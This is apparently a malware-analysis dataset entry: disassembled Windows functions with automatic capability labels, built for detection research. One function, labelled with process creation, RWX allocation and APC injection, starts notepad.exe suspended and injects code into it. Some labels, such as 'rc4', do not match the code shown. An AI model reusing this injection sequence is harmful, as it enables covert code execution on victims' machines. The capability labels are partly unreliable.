joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a080
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14001a0b1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x14001a0cf
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14001a0eb
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14001a0ed
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14001a129
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14001a1be
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14001a164
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14001a19e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14001a1be
cmp rbx, rax
ja 0x14001a170
test rbx, rbx
je 0x14001a1be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14001a1e0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14001a208
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14001a22e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14001a230
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14001a289
test ecx, ecx
jle 0x14001a269
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14001a289
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14001a289
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x14001aed0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x58]
xor r15d, r15d
mov r11, qword [rsp + 0x70]
mov r13, rdx
mov rax, qword [rsp + 0x60]
mov qword [r14], r8
mov qword [r11], rax
mov rdi, qword [r14]
cmp rdi, r9
je 0x14001b063
mov r12, qword [rsp + 0x68]
lea r8d, [r15 + 1]
mov rsi, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
mov ebx, 0x2800
cmp rsi, r12
je 0x14001b063
movzx edx, word [r13]
xor bpl, bpl
movzx ecx, word [rdi]
cmp r8w, dx
jae 0x14001af69
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x14001b087
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x14001af7f
mov eax, ecx
add cx, bx
cmp cx, r9w
ja 0x14001af7f
shl eax, 0xa
mov bpl, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x14001af92
movzx r9d, al
mov r10d, r15d
mov ebx, r15d
jmp 0x14001afdd
mov r9d, eax
cmp eax, 0x800
jae 0x14001afac
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov ebx, r8d
jmp 0x14001afdd
cmp eax, 0x10000
jae 0x14001afc6
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov ebx, r10d
jmp 0x14001afdd
shr r9d, 0x12
mov r10d, 3
movzx ebx, bpl
or r9b, 0xf0
xor ebx, 1
add ebx, ebx
lea r8d, [rbx + 1]
mov rdx, r12
sub rdx, rsi
mov ecx, r8d
cmp rdx, rcx
jl 0x14001b063
lea rcx, [rdi + 2]
mov qword [r14], rcx
test bpl, bpl
jne 0x14001b001
cmp r10d, 3
jae 0x14001b00d
mov rcx, qword [r11]
mov r8d, ebx
mov byte [rcx], r9b
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jle 0x14001b03e
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax + rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jg 0x14001b020
shr eax, 0xa
mov r8d, 1
test bpl, bpl
mov ecx, r8d
cmovne ecx, eax
mov word [r13], cx
mov rdi, qword [r14]
cmp rdi, qword [rsp + 0x50]
jne 0x14001af1e
mov rax, qword [rsp + 0x48]
cmp rax, qword [r14]
sete r15b
mov eax, r15d
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 2
jmp 0x14001b072
Function at 0x14001bb20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x14002f160]
xor rax, rsp
mov qword [rbp + 0x20], rax
movsxd rbx, edx
mov r15, rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
lea ecx, [rax + 0x40]
call fcn.14001cc6c
mov qword [rbp - 0x10], 0x3e
mov qword [rbp - 8], 0x3f
movups xmm0, xmmword [str.433a5c57696e646f77735c53797374656d33325c6e6f74657061642e657865]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140022af8]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140022b08]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x140022b18]
movsd qword [rax + 0x30], xmm1
mov ecx, dword [0x140022b20]
mov dword [rax + 0x38], ecx
movzx ecx, word [0x140022b24]
mov word [rax + 0x3c], cx
mov byte [rax + 0x3e], 0
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp]
call fcn.14001bd40
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14001bc28
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bc23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001bcfc
call fcn.14001cca8
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rsi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], r12
mov r9, rbx
mov r8, r15
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14001bd08
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bd03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001bd03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001cca8
mov eax, 1
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.14001d230
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x14001dc40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001dc8a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001dc8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001dc8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001dc8a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001dc8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001dc8c
xor al, al
add rsp, 0x28
ret
Function at 0x1400014ec
Capabilities:
Check if file exists
Delete directory
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14003b0f8]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor ebx, ebx
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x28]
mov rdi, rcx
lea edx, [rbx + 4]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFullPathNameW]
cmp eax, 3
je 0x140019e14
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_RemoveDirectoryW]
test eax, eax
je 0x140019e33
mov eax, ebx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400182e0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
cmp word [rsp + 0x2a], 0x3a
jne 0x140001526
cmp word [rsp + 0x2c], 0x5c
jne 0x140001526
xor eax, eax
jmp 0x140001539
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ebx, eax
cmp eax, 5
jne 0x140001537
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001537
test al, 1
je 0x140001537
and eax, 0xfffffffe
mov rcx, rdi
mov edx, eax
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_SetFileAttributesW]
test eax, eax
je 0x140001537
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_RemoveDirectoryW]
test eax, eax
je 0x140019e88
xor ebx, ebx
jmp 0x140001537
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ebx, eax
jmp 0x140001537
Function at 0x140003ae0
Capabilities:
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov eax, dword [r8]
mov r14, r8
neg eax
mov rdi, r9
mov rsi, rdx
mov rbp, rcx
sbb ebx, ebx
and dword [r9], 0
add ebx, 3
mov r8d, ebx
call qword [sym.imp.api_ms_win_core_file_l2_1_0.dll_MoveFileExW]
test eax, eax
je 0x1400210b4
mov dword [rdi], 1
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400210fc
mov edx, 0x400023d3
mov rcx, rsi
lea r8d, [rdx + 1]
call fcn.14002c9ac
test eax, eax
je 0x140003b2a
cmp eax, 2
jne 0x1400210e3
and dword [r14], 0
or ebx, 1
mov rdx, rsi
mov r8d, ebx
mov rcx, rbp
call qword [sym.imp.api_ms_win_core_file_l2_1_0.dll_MoveFileExW]
mov dword [rdi], eax
jmp 0x140003b2f
xor eax, eax
jmp 0x140003b2f
Function at 0x14000515c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov eax, 0x1a
mov rsi, r9
mov word [rsp + 0x50], ax
mov ebx, r8d
mov rax, qword [rdx + 0x40]
mov rdi, rcx
test rax, rax
cmovne rdx, rax
cmp r8d, 0xffffffff
jne 0x140022556
inc dword [0x140043a4c]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
test dword [rdx + 0x38], 0x4000
jne 0x1400225ab
test byte [rdx + 0x38], 2
jne 0x140022579
test byte [rdx + 0x38], 4
je 0x1400225ab
mov eax, dword [0x140043a3c]
add eax, 0xfffffffd
cmp eax, 1
ja 0x1400225ab
mov ecx, ebx
call fcn.14000f7c8
test eax, eax
jne 0x1400225ab
mov ecx, ebx
call qword [sym.imp.msvcrt.dll__get_osfhandle]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov rcx, rax
lea rdx, [rsp + 0x50]
mov r8d, 1
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_WriteFile]
test rdi, rdi
je 0x1400225ef
test byte [rdi + 0x38], 0x80
jne 0x1400225ef
mov ecx, ebx
call fcn.14000f7c8
test eax, eax
jne 0x1400225ef
mov eax, dword [0x140043a3c]
cmp eax, 3
je 0x1400225ef
test rsi, rsi
je 0x1400225ef
cmp eax, 2
je 0x1400225ef
mov ecx, ebx
call qword [sym.imp.msvcrt.dll__get_osfhandle]
mov r9, rsi
xor r8d, r8d
mov rcx, rax
xor edx, edx
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_SetFileTime]
mov ecx, ebx
call fcn.14000c8e8
nop
jmp 0x140005193
Function at 0x1400051ec
Capabilities:
Delete file
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax - 0x18], 0
mov rsi, r9
and dword [0x140043b18], 0
mov ebx, r8d
mov rbp, rdx
mov edi, ecx
call qword [sym.imp.msvcrt.dll__get_osfhandle]
and qword [rsp + 0x20], 0
mov r9, rsi
mov rcx, rax
mov r8d, ebx
mov rdx, rbp
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_ReadFile]
test eax, eax
je 0x14002267c
mov ecx, dword [rsi]
test ecx, ecx
je 0x14002262e
mov rdx, qword [rsp + 0x70]
mov eax, dword [rdx + 0x38]
test eax, 0xc000
je 0x140005280
mov ecx, 0x8002
mov edi, 1
and eax, ecx
cmp eax, ecx
je 0x140022652
mov eax, edi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
cmp ecx, 2
jb 0x140005290
mov ecx, 0xfeff
cmp word [rbp], cx
je 0x140005299
bts eax, 0xf
mov dword [rdx + 0x38], eax
jmp 0x140005255
bts eax, 0xe
jmp 0x140005294
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 0x3e3
je 0x14002267c
mov ecx, dword [rsi]
test ecx, ecx
jne 0x140005246
and dword [0x140043b28], ecx
xor eax, eax
jmp 0x14000526b
mov ebx, dword [rsi]
lea r9, [rsp + 0x30]
mov r8, rsi
mov rdx, rbp
mov ecx, edi
call fcn.14002a210
mov edx, dword [0x140043b18]
cmp ebx, dword [rsi]
cmovne edx, edi
mov dword [0x140043b18], edx
jmp 0x140005269
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov ecx, edi
mov dword [0x140043b28], eax
call fcn.14000c8e8
mov ecx, dword [rsp + 0x78]
call fcn.14000f7c8
mov ecx, dword [rsp + 0x78]
mov ebx, eax
call fcn.14000c8e8
test ebx, ebx
jne 0x1400226b5
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_DeleteFileW]
mov ecx, dword [0x140043b28]
mov edx, 1
call fcn.14002b5c0
int3

Function at 0x14000546c
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x58]
mov dword [rsp + 0x48], 4
mov r9d, 0x2000000
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400054fd
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x40], 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x140032928]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
test ebx, ebx
jne 0x1400054fd
cmp dword [rsp + 0x40], 4
jne 0x1400054fd
mov eax, dword [rsp + 0x50]
add rsp, 0x30
pop rbx
ret
xor eax, eax
jmp 0x1400054f7
Function at 0x140005aa4
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov dword [rax + 8], ecx
push rbp
push r14
push r15
lea rbp, [rax - 0x37]
sub rsp, 0xb0
mov edi, ecx
mov rsi, r9
xor ecx, ecx
mov r14, r8
mov r15, rdx
call qword [sym.imp.api_ms_win_core_winrt_l1_1_0.dll_RoInitialize]
mov ebx, eax
test eax, eax
js 0x140005bc5
and qword [rbp + 0x7f], 0
call qword [sym.imp.api_ms_win_core_kernel32_legacy_l1_1_0.dll_GetConsoleWindow]
lea rcx, [rbp + 0x7f]
mov qword [rbp - 0x61], rax
call fcn.140006938
lea rax, [rbp + 0x3f]
lea r9, [rbp + 0x6f]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x67]
lea rdx, [rbp - 0x61]
lea rcx, [rbp + 0x7f]
call fcn.140005c84
test eax, eax
js 0x140005bc9
call fcn.1400148fc
xor edx, edx
mov dword [rbp - 0x51], 0x70
lea rcx, [rbp - 0x4d]
lea r8d, [rdx + 0x6c]
call sub.msvcrt.dll_memset
mov eax, 0x8008140
mov ecx, 0x8000140
test dil, 0x10
cmovne eax, ecx
mov dword [rbp - 0x4d], eax
call qword [sym.imp.api_ms_win_core_kernel32_legacy_l1_1_0.dll_GetConsoleWindow]
lea rcx, [rbp - 0x51]
mov qword [rbp - 0x39], r15
mov qword [rbp - 0x49], rax
mov eax, dword [rbp + 0x5f]
mov dword [rbp - 0x21], eax
mov rax, qword [rbp + 0x7f]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x31], r14
mov qword [rbp - 0x29], rsi
call qword [sym.imp.ext_ms_win_shell_shell32_l1_2_0.dll_ShellExecuteExW]
mov edi, eax
test eax, eax
je 0x140022d34
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x17]
mov qword [rcx], rax
lea rcx, [rbp + 0x7f]
call fcn.140006938
test ebx, ebx
js 0x140005ba6
call qword [sym.imp.api_ms_win_core_winrt_l1_1_0.dll_RoUninitialize]
lea r11, [rsp + 0xb0]
mov eax, edi
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor edi, edi
jmp 0x140005b9c
xor edi, edi
jmp 0x140005b93
mov rcx, qword [rbp - 0x19]
test rcx, rcx
jne 0x140022d4c
mov dword [0x140043b28], 8
jmp 0x140005b93
mov eax, dword [rbp - 0x19]
cmp rcx, 0x20
mov edx, 2
cmove eax, edx
mov dword [0x140043b28], eax
jmp 0x140005b93
Function at 0x140008320
Capabilities:
Get disk information

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x198]
sub rsp, 0x290
mov rax, qword [0x14003b0f8]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov edi, 0x104
mov byte [rbp + 0x160], 1
movzx ebx, cx
mov qword [rbp + 0x168], rdi
xor esi, esi
lea rcx, [rsp + 0x50]
mov r8d, edi
mov qword [rbp + 0x158], rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov al, byte [rbp + 0x160]
lea rcx, [rsp + 0x50]
neg al
sbb rdx, rdx
and edx, 0x7ee3
add rdx, rdi
call fcn.14000c130
test eax, eax
js 0x14000841e
lea rcx, [rbp + 0x170]
mov word [rbp + 0x170], bx
mov dword [rbp + 0x172], 0x5c003a
mov word [rbp + 0x176], si
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x14001ae47
cmp eax, 2
je 0x14000841e
cmp eax, 5
je 0x14000841e
mov rax, qword [rbp + 0x158]
lea rdx, [rsp + 0x50]
mov r8d, dword [rbp + 0x168]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x38], esi
lea rcx, [rbp + 0x170]
test rax, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
cmovne rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetVolumeInformationW]
test eax, eax
je 0x14001ae38
mov rcx, qword [rbp + 0x158]
mov qword [rbp + 0x158], rsi
test rcx, rcx
je 0x140008437
call qword [sym.imp.msvcrt.dll_void___cdecl_operator_delete___void____ptr64_]
xor eax, eax
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400182e0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 5
jne 0x14000841e
mov rcx, qword [rbp + 0x158]
mov qword [rbp + 0x158], rsi
test rcx, rcx
je 0x14001ae60
call qword [sym.imp.msvcrt.dll_void___cdecl_operator_delete___void____ptr64_]
mov eax, 1
jmp 0x140008439
Function at 0x14000c1c4
Capabilities:
Set console window title

Disassembly:
test rcx, rcx
je 0x14000c213
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
xor r12d, r12d
mov rbp, rcx
cmp qword [0x140043a90], r12
je 0x14000c214
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
cmp dword [0x140043aa8], r12d
jne 0x14000c1f5
jmp 0x14001c02e
mov ecx, 0x20c
call fcn.14000c480
mov rdi, rax
test rax, rax
je 0x14000c1f5
mov edx, 0x104
mov rcx, rax
call qword [sym.imp.api_ms_win_core_console_l2_2_0.dll_GetConsoleTitleW]
test eax, eax
je 0x14000c1f5
or rsi, 0xffffffffffffffff
mov rcx, rsi
inc rcx
cmp word [rbp + rcx*2], r12w
jne 0x14001c061
add ecx, dword [0x140043a50]
lea r14d, [rax + 0xa]
add r14d, ecx
mov rcx, rdi
movsxd r15, r14d
lea rdx, [r15 + r15]
call fcn.14000ae50
mov rbx, rax
test rax, rax
je 0x14001c0f6
cmp byte [0x140043aac], r12b
mov rdi, rax
je 0x14001c0b6
mov ecx, dword [0x140043a50]
mov r8, rbp
sub r14d, ecx
mov edx, r14d
lea rcx, [rax + rcx*2]
call fcn.1400106e0
jmp 0x14001c0ed
lea r8, [0x140034470]
mov rdx, r15
mov rcx, rbx
call fcn.140010600
inc rsi
cmp word [rbx + rsi*2], r12w
jne 0x14001c0c8
mov r8, rbp
mov dword [0x140043a50], esi
mov rdx, r15
mov rcx, rbx
call fcn.140010600
mov byte [0x140043aac], 1
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_console_l2_2_0.dll_SetConsoleTitleW]
mov rcx, rdi
call fcn.14000f5b0
nop
jmp 0x14000c1f5
Function at 0x14000f640
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rbp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r14, r9
lea rdi, [0x140047ba0]
mov ebp, r8d
mov r13d, 1
mov r9d, r13d
xor r8d, r8d
xor edx, edx
mov r15, rcx
mov r12, rdi
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_SetFilePointer]
mov dword [rsp + 0x30], eax
cmp ebp, 0x1fff
jb 0x14000f68c
mov ebp, 0x1fff
lea rcx, [0x1400561f0]
mov qword [rsp + 0x80], rsi
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_AcquireSRWLockShared]
mov r9, r14
mov qword [rsp + 0x20], 0
mov r8d, ebp
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_ReadFile]
lea rcx, [0x1400561f0]
mov ebx, eax
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_ReleaseSRWLockShared]
test ebx, ebx
je 0x14000f7b7
mov esi, dword [r14]
test esi, esi
je 0x14000f7b7
mov r10d, dword [0x14003f8a8]
mov eax, esi
mov edx, dword [rsp + 0x30]
mov dword [rsp + 0x90], esi
cmp r10d, 0xfde9
je 0x14001ce16
test esi, esi
jle 0x14000f770
lea r8, [0x1400560f0]
nop word [rax + rax]
cmp eax, 3
jl 0x14000f726
movzx ecx, byte [rdi]
cmp cl, 0xa
je 0x14001ce79
cmp cl, 0xd
je 0x14000f746
movzx ecx, byte [rdi]
cmp byte [rcx + r8], 0
jne 0x14001ce88
inc rdi
dec eax
mov dword [rsp + 0x90], eax
test eax, eax
jg 0x14000f710
jmp 0x14000f770
cmp byte [rdi + 1], 0xa
jne 0x14000f726
mov esi, edi
mov byte [rdi + 2], 0
sub esi, r12d
xor r9d, r9d
add esi, 2
xor r8d, r8d
add edx, esi
mov rcx, r15
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_SetFilePointer]
mov r10d, dword [0x14003f8a8]
mov ecx, r10d
call fcn.14000f880
test eax, eax
je 0x14000f7bb
mov rax, qword [rsp + 0x88]
mov r9d, esi
mov dword [rsp + 0x28], ebp
mov r8, r12
mov edx, r13d
mov qword [rsp + 0x20], rax
call qword [sym.imp.api_ms_win_core_string_l1_1_0.dll_MultiByteToWideChar]
mov dword [r14], eax
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rbp
pop rbx
ret
xor eax, eax
jmp 0x14000f79f
xor r13d, r13d
jmp 0x14000f77c
test edx, edx
jne 0x14000f6ff
